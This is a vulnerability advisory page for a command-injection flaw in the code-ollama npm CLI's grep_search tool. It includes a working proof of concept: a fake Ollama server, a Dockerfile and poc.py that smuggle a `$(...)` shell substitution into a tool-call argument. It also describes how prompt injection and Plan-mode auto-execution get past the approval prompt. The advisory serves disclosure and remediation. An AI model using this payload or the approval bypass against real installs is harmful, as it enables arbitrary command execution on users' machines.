GHSA-456v-xq2p-r4cj: code-ollama `grep_search` Command Injection Vulnerability

HIGH
CVSS 7.8
CWE-78
Published
Advisory Summary

GHSA-456v-xq2p-r4cj is a HIGH (CVSS 7.8) `grep_search` command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting code-ollama libraries in the npm ecosystem. The issue involves `grep_search` command injection via unescaped `$()` shell substitution (cwe-78). Remediation is available by upgrading affected packages to version 0.36.1.

GHSA-456v-xq2p-r4cj at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-456v-xq2p-r4cj
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product code-ollama
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-456v-xq2p-r4cj

To remediate this vulnerability, upgrade all affected code-ollama dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code-ollama fixed: 0.36.1
npm install code-ollama@0.36.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls code-ollama

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-456v-xq2p-r4cj, inspect your project dependencies using npm:

npm ls code-ollama

Analyze the terminal output to locate any version of code-ollama in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.36.1), your application is affected.

Note: The npm ls code-ollama command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In code-ollama, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) ### Summary The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**. ### Details **Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`** ```ts const escapedPattern = searchPattern .replace(/\\/g, '\\\\') .replace(/"/g, '\\"'); const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"'); const { stdout } = await execShell( `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, ); ``` Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution. **Full data-flow path (source → sink)** | Step | Location | Action | |------|----------|--------| | 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI | | 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` | | 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it | | 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` | | 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) | | 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) | | 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` | **Approval-bypass amplifier** `grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation. ### PoC **Prerequisites** - `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below). - `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it). - Python 3 available to run the fake Ollama server. **Step 1 — Build the self-contained Docker image (recommended)** ```sh # From the report root directory (where vuln-001/ lives) docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . docker run --rm vuln001-code-ollama ``` The container automatically runs `poc.py` as `CMD`. Successful exploitation prints: ``` [+] EXPLOITATION CONFIRMED [+] Marker file : /tmp/poc-evidence [+] Contents : 'uid=0(root) gid=0(root) groups=0(root)' ``` **Step 2 — Manual reproduction (bare-metal)** ```sh # Terminal 1 — start the malicious Ollama server cat > /tmp/fake-ollama.py <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json, sys, threading _req = 0 _lock = threading.Lock() class H(BaseHTTPRequestHandler): def log_message(self, *a): pass def do_GET(self): self.send_response(200); self.end_headers() self.wfile.write(b"Ollama is running") def do_POST(self): global _req l = int(self.headers.get("Content-Length", 0)) self.rfile.read(l) with _lock: _req += 1; n = _req self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if n == 1: chunk = {"model":"fake","message":{"role":"assistant","content":"", "tool_calls":[{"function":{"name":"grep_search", "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]}, "done":True,"done_reason":"stop"} else: chunk = {"model":"fake","message":{"role":"assistant","content":"Done."}, "done":True,"done_reason":"stop"} self.wfile.write((json.dumps(chunk)+"\n").encode()) self.wfile.flush() HTTPServer(("127.0.0.1", 11434), H).serve_forever() PY python3 /tmp/fake-ollama.py & # Terminal 2 — run code-ollama against the fake server rm -f /tmp/poc-evidence OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code" cat /tmp/poc-evidence # expected: uid=... gid=... groups=... ``` **Explanation of the payload** The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string ``` rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp" ``` is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts. **Remediation** Replace the shell-string construction with an argument-vector call to avoid the shell entirely: ```diff -import { execShell } from '../shell'; +import { execFile } from '../../node'; + +const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 }; - const escapedPattern = searchPattern - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - const escapedDirPath = dirPath - .replace(/\\/g, '\\\\') - .replace(/"/g, '\\"'); - - const { stdout } = await execShell( - `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`, - ); + const { stdout } = await execFile( + 'rg', + ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath], + RG_EXEC_OPTIONS, + ); ``` ### Impact This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`. Impact scope: - **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc. - **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history. - **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources. The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: grep_search Command Injection — CWE-78 # Target: ai-action/code-ollama v0.36.0 # Proof-of-concept Docker image: builds the repo and runs poc.py # # Build (from project root): # docker build -t vuln001-code-ollama -f vuln-001/Dockerfile . # Run: # docker run --rm vuln001-code-ollama FROM node:24-slim # ripgrep — required by grepSearch() in the vulnerable code path # python3 — runs poc.py orchestration script RUN apt-get update && apt-get install -y \ ripgrep \ python3 \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # ── Install Node dependencies ────────────────────────────────────────────────── WORKDIR /app COPY repo/package.json repo/package-lock.json ./ # Install ALL deps (devDeps needed for vite build / tsx fallback) RUN npm ci # ── Copy source and build ────────────────────────────────────────────────────── COPY repo/ ./ # Produces /app/dist/cli.js — the bundled CLI entrypoint RUN npm run build # ── Runtime setup ───────────────────────────────────────────────────────────── # code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race RUN mkdir -p /root/.code-ollama /workspace COPY vuln-001/poc.py /poc.py WORKDIR /workspace CMD ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78) Repository : ai-action/code-ollama v0.36.0 Sink : src/utils/tools/filesystem/grep.ts:65 execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`) Attack path: malicious Ollama server -> tool_call.arguments.pattern -> grepSearch() -> execShell() -> child_process.exec() Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized. This PoC demonstrates that a rogue Ollama server can inject arbitrary shell commands that execute as the local user running code-ollama. Usage (inside Docker, called automatically by CMD): python3 /poc.py Expected outcome: /tmp/poc-evidence is created with content matching INJECTED_CMD output. """ import json import os import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- FAKE_SERVER_HOST = "127.0.0.1" FAKE_SERVER_PORT = 11434 # The marker file written by the injected command — used as exploitation proof MARKER_FILE = "/tmp/poc-evidence" # Payload: $() command substitution that is NOT escaped by code-ollama's # sanitization (only \\ and " are escaped, leaving $() intact). # Writes output of `id` to MARKER_FILE to capture the running UID/GID. INJECTED_CMD = f"$(id>{MARKER_FILE})" # Path argument for grep_search (must be a valid non-empty string) TARGET_PATH = "/workspace" # Tracks how many POST requests the fake server has received _request_count = 0 _request_lock = threading.Lock() # --------------------------------------------------------------------------- # Fake Ollama HTTP server # --------------------------------------------------------------------------- class FakeOllamaHandler(BaseHTTPRequestHandler): """Minimal Ollama-compatible HTTP server for the PoC. First POST /api/chat -> returns a grep_search tool_call carrying the injected pattern. Subsequent POSTs -> return a plain done response to terminate the code-ollama tool-loop. """ def log_message(self, fmt, *args): # suppress default request logging pass # ------------------------------------------------------------------ # GET — health-check (code-ollama / ollama-npm may call GET /) # ------------------------------------------------------------------ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"Ollama is running") # ------------------------------------------------------------------ # POST — chat streaming endpoint # ------------------------------------------------------------------ def do_POST(self): global _request_count # Consume request body to avoid broken-pipe on the client side content_length = int(self.headers.get("Content-Length", 0)) _ = self.rfile.read(content_length) with _request_lock: _request_count += 1 current_request = _request_count self.send_response(200) self.send_header("Content-Type", "application/x-ndjson") self.end_headers() if current_request == 1: # --------------------------------------------------------------- # First request: inject malicious grep_search tool call # The `arguments` object is passed verbatim through the ollama-npm # library and reaches grepSearch(pattern, path) in grep.ts. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " f"sending malicious grep_search tool_call") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "", "tool_calls": [{ "function": { "name": "grep_search", # pattern and path are the two required string args # validated by validateArgs() in dispatcher.ts "arguments": { "pattern": INJECTED_CMD, "path": TARGET_PATH, }, } }], }, "done": True, "done_reason": "stop", } else: # --------------------------------------------------------------- # Subsequent requests: plain text to terminate the tool loop. # No tool_calls -> nextMessages stays null -> processRunStream # returns after checking hasUncalledToolIntent (no match on # "Done.") so the CLI exits cleanly. # --------------------------------------------------------------- print(f"[fake-ollama] Request #{current_request}: " "sending done/stop response") sys.stdout.flush() chunk = { "model": "fake", "message": { "role": "assistant", "content": "Done.", }, "done": True, "done_reason": "stop", } self.wfile.write((json.dumps(chunk) + "\n").encode()) self.wfile.flush() def start_fake_server(): """Start the fake Ollama server in a daemon thread.""" server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server # --------------------------------------------------------------------------- # Main orchestration # --------------------------------------------------------------------------- def main(): print("=" * 65) print("VULN-001: grep_search Command Injection PoC (CWE-78)") print("Target : ai-action/code-ollama v0.36.0") print("Sink : src/utils/tools/filesystem/grep.ts:65") print("=" * 65) print() print(f"[*] Payload : {INJECTED_CMD}") print(f"[*] Marker : {MARKER_FILE}") print() # Clean up any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.unlink(MARKER_FILE) print(f"[*] Removed stale marker file: {MARKER_FILE}") # ----------------------------------------------------------------------- # 1. Start the fake Ollama server # ----------------------------------------------------------------------- print(f"[*] Starting fake Ollama server on " f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...") start_fake_server() time.sleep(0.4) # give the server socket time to bind # ----------------------------------------------------------------------- # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server # --trust skips the interactive directory-trust prompt (src/cli.ts:214) # ----------------------------------------------------------------------- env = os.environ.copy() env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}" # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile cmd = [ "node", "/app/dist/cli.js", "run", "--trust", "fake", "search the code", ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}") print() try: result = subprocess.run( cmd, env=env, stdin=subprocess.DEVNULL, # no TTY / interactive input needed capture_output=True, text=True, timeout=60, cwd="/workspace", ) except subprocess.TimeoutExpired: print("[-] code-ollama subprocess timed out after 60 s") sys.exit(1) print("--- code-ollama stdout ---") print(result.stdout[:3000] if result.stdout else "(empty)") print("--- code-ollama stderr ---") print(result.stderr[:3000] if result.stderr else "(empty)") print(f"--- exit code: {result.returncode} ---") print() # ----------------------------------------------------------------------- # 3. Verify exploitation: check for the marker file # ----------------------------------------------------------------------- if os.path.exists(MARKER_FILE): evidence = open(MARKER_FILE).read().strip() print("[+] ============================================================") print("[+] EXPLOITATION CONFIRMED") print("[+] ============================================================") print(f"[+] Marker file : {MARKER_FILE}") print(f"[+] Contents : {evidence!r}") print("[+] Explanation : The $() command substitution inside the") print("[+] grep_search pattern was NOT escaped by code-ollama's") print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").") print("[+] execShell() passed the raw string to child_process.exec()") print("[+] which ran it through /bin/sh, executing the injected") print("[+] command as the current user.") print("[+] ============================================================") sys.exit(0) else: print("[-] ============================================================") print("[-] EXPLOITATION FAILED") print(f"[-] Expected marker file NOT found: {MARKER_FILE}") print("[-] Possible causes:") print("[-] - ollama-npm parsed tool_call.arguments differently") print("[-] - The pattern was sanitized before reaching execShell()") print("[-] - ripgrep is not installed so the fallback path was taken") print("[-] - The shell used does not support $() substitution") print("[-] ============================================================") sys.exit(1) if __name__ == "__main__": main() ```

GHSA-456v-xq2p-r4cj Affected code-ollama Versions

1 component(s)
Fixed Versions:
0.36.1
Product / Package Ecosystem Affected Versions Fixed Version
code-ollama
npm
< 0.36.1
0.36.1

References

Frequently Asked Questions

What is GHSA-456v-xq2p-r4cj?
GHSA-456v-xq2p-r4cj is a security vulnerability in code-ollama involving `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78) under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which code-ollama versions are affected?
Affected versions include releases prior to 0.36.1 across affected packages: code-ollama.
What version fixes GHSA-456v-xq2p-r4cj?
Upgrading to 0.36.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code-ollama affected?
Yes, code-ollama is affected in releases prior to 0.36.1. Upgrade your dependency to 0.36.1 or later.
What is the CVSS score of GHSA-456v-xq2p-r4cj?
GHSA-456v-xq2p-r4cj has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-456v-xq2p-r4cj?
GHSA-456v-xq2p-r4cj is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-456v-xq2p-r4cj?
Run the dependency tree command: 'npm ls code-ollama'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-456v-xq2p-r4cj",
  "modified" : "2026-09-28T13:59:43Z",
  "published" : "2026-09-28T13:59:43Z",
  "aliases" : [ ],
  "summary" : "code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)",
  "details" : "## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n  .replace(/\\\\/g, '\\\\\\\\')\n  .replace(/\"/g, '\\\\\"');\nconst escapedDirPath = dirPath.replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n\nconst { stdout } = await execShell(\n  `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source → sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 — Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'\n```\n\n**Step 2 — Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 — start the malicious Ollama server\ncat > /tmp/fake-ollama.py <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n    def do_POST(self):\n        global _req\n        l = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(l)\n        with _lock:\n            _req += 1; n = _req\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n        if n == 1:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n                \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n                    \"arguments\":{\"pattern\":\"$(id>/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n                \"done\":True,\"done_reason\":\"stop\"}\n        else:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n                \"done\":True,\"done_reason\":\"stop\"}\n        self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n        self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py &\n\n# Terminal 2 — run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence   # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id>/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from '../shell';\n+import { execFile } from '../../node';\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n-      const escapedPattern = searchPattern\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-      const escapedDirPath = dirPath\n-        .replace(/\\\\/g, '\\\\\\\\')\n-        .replace(/\"/g, '\\\\\"');\n-\n-      const { stdout } = await execShell(\n-        `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n-      );\n+      const { stdout } = await execFile(\n+        'rg',\n+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],\n+        RG_EXEC_OPTIONS,\n+      );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection — CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n#   docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep  — required by grepSearch() in the vulnerable code path\n# python3  — runs poc.py orchestration script\nRUN apt-get update && apt-get install -y \\\n    ripgrep \\\n    python3 \\\n    --no-install-recommends \\\n && rm -rf /var/lib/apt/lists/*\n\n# ── Install Node dependencies ──────────────────────────────────────────────────\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# ── Copy source and build ──────────────────────────────────────────────────────\nCOPY repo/ ./\n# Produces /app/dist/cli.js — the bundled CLI entrypoint\nRUN npm run build\n\n# ── Runtime setup ─────────────────────────────────────────────────────────────\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 — grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink       : src/utils/tools/filesystem/grep.ts:65\n             execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -> tool_call.arguments.pattern\n             -> grepSearch() -> execShell() -> child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n    python3 /poc.py\n\nExpected outcome:\n    /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command — used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama's\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id>{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n    \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n    First POST /api/chat  -> returns a grep_search tool_call carrying the\n                             injected pattern.\n    Subsequent POSTs      -> return a plain done response to terminate the\n                             code-ollama tool-loop.\n    \"\"\"\n\n    def log_message(self, fmt, *args):  # suppress default request logging\n        pass\n\n    # ------------------------------------------------------------------\n    # GET — health-check (code-ollama / ollama-npm may call GET /)\n    # ------------------------------------------------------------------\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n\n    # ------------------------------------------------------------------\n    # POST — chat streaming endpoint\n    # ------------------------------------------------------------------\n    def do_POST(self):\n        global _request_count\n\n        # Consume request body to avoid broken-pipe on the client side\n        content_length = int(self.headers.get(\"Content-Length\", 0))\n        _ = self.rfile.read(content_length)\n\n        with _request_lock:\n            _request_count += 1\n            current_request = _request_count\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n\n        if current_request == 1:\n            # ---------------------------------------------------------------\n            # First request: inject malicious grep_search tool call\n            # The `arguments` object is passed verbatim through the ollama-npm\n            # library and reaches grepSearch(pattern, path) in grep.ts.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  f\"sending malicious grep_search tool_call\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"\",\n                    \"tool_calls\": [{\n                        \"function\": {\n                            \"name\": \"grep_search\",\n                            # pattern and path are the two required string args\n                            # validated by validateArgs() in dispatcher.ts\n                            \"arguments\": {\n                                \"pattern\": INJECTED_CMD,\n                                \"path\": TARGET_PATH,\n                            },\n                        }\n                    }],\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n        else:\n            # ---------------------------------------------------------------\n            # Subsequent requests: plain text to terminate the tool loop.\n   